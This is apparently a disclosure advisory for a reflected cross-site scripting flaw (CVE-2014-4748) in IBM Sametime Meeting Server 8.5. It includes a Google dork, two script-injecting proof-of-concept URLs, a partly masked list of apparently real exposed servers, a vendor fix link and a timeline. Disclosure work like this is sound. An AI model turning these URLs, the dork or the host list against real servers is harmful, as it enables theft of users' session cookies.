# Exploit Title: IBM Sametime Meet Server 8.5 Reflect Cross Site Script # Google Dork: intitle:"Meeting Center - IBM Lotus Sametime" # Date: 11/08/2014 # CVSS Score: http://nvd.nist.gov/cvss.cfm?calculator&version=2&vector=AV:N/AC:M/Au:N/C:P/I:N/A:N%29 # CVE-ID: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-4748 # OSVDB-ID: http://osvdb.org/109444 # # Author: Adriano Marcio Monteiro # E-mail: adrianomarciomonteiro@gmail.com # Blog: http://www.brazucasecurity.com.br # # Vendor: http://www.ibm.com # Software: http://www.ibm.com/sametime # Version: 8.5.1 # Advisory: https://www-304.ibm.com/support/docview.wss?uid=swg21679221 # # Test Type: Black Box # Tested on: Windows 7 Enterprise SP1 x86 pt-br, Mozilla Firefox 30.0 /Internet Explorer 10 / Google Chrome Vers&#227;o 33.0.1750.146 m Table of Contents [0x00] The Vulnerability [0x01] Exploit Description [0x02] PoC - Proof of Concept [0x03] Correction or Workaround [0x04] Timeline [0x05] Published [0x06] References [0x07] Bibliography [0x00] The Vulnerabilty Reflected Cross Site Scripting (XSS) Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted web sites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it. An attacker can use XSS to send a malicious script to an unsuspecting user. The end users browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page [0x01] Description IBM Sametime Classic Meeting Server is vulnerable to reflected cross-site scripting, caused by improper validation of user supplied input. A remote attacker could exploit this vulnerability using a specially crafted URL to execute a script in a victim's Web browser within the security context of the hosting Web site, once the URL is clicked. An attacker could use this vulnerability to steal the victim's cookie-based authentication credentials. [0x02] PoC - Proof of Concept For exploit this vulnerability you only need to submit the crafted URL to victim. http://sametime02.myserver.com.br/stconf.nsf/WebAttendFrameset?OpenAgent&view=Attend&docID=$DOCID$&meetingID=$MEETID$&join_type=mrc&subject=</title><script>alert('I am a XSS')</script><!--&userLang=pt_BR http://sametime02.myserver.com.br/stconf.nsf/vwCalendar?OpenView&Grid="><script>alert(' I am a XSS')</script><!--&Date=2014-07-28 Examples: http://sametime.eletXrosul.gov.br/stconf.nsf/frmConference?OpenForm http://sametime.spX.gov.br/stconf.nsf/frmConference?OpenForm http://sametime.gXrude.ufmg.br/stconf.nsf/frmConference?OpenForm http://sametime.sXchahin.com.br/stconf.nsf/frmConference?OpenForm http://sametiXme.c-pack.com.br/stconf.nsf/frmConference?OpenForm http://www.azXi.com.br/stconf.nsf/frmConference?OpenForm http://aquila.seXalinc.org/stconf.nsf/frmConference?Openform http://noteschatX.sola.kommune.no/stconf.nsf/frmConference?Openform http://comware.Xnet/stconf.nsf/frmConference?Openform https://236ws.dpXteruel.es/stconf.nsf/frmConference?OpenForm https://correoweXb.gruposanjose.biz/stconf.nsf/frmConference?Openform http://noteschat.Xsola.kommune.no/stconf.nsf/frmConference?Openform https://mail.dba.uXz/stconf.nsf/frmConference?Openform [0x03] Correction or Workaround Apply the procedures described in the follow link: http://www-01.ibm.com/support/docview.wss?uid=swg21679454 [0x04] Timeline 18/07/2014 - Vulnerabilities discovered 19/07/2014 - Vulnerabilities reporteds to IBM PSIRT Team 23/07/2014 - Advisory and troubleshooting fix published [0x05] Published http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-4748 http://www.securityfocus.com/bid/68841 [0x06] References OWASP - Cross-site Scripting (XSS) https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) CWE-264: Permissions, Privileges, and Access Controls http://cwe.mitre.org/data/definitions/79.html [0x07] Bibliography http://www-10.lotus.com/ldd/stwiki.nsf/xpDocViewer.xsp?lookupName=Administering+Sametime+Standard+8.5.2+documentation#action=openDocument&res_title=Sametime_Meeting_Server_st852&content=pdcontent [end]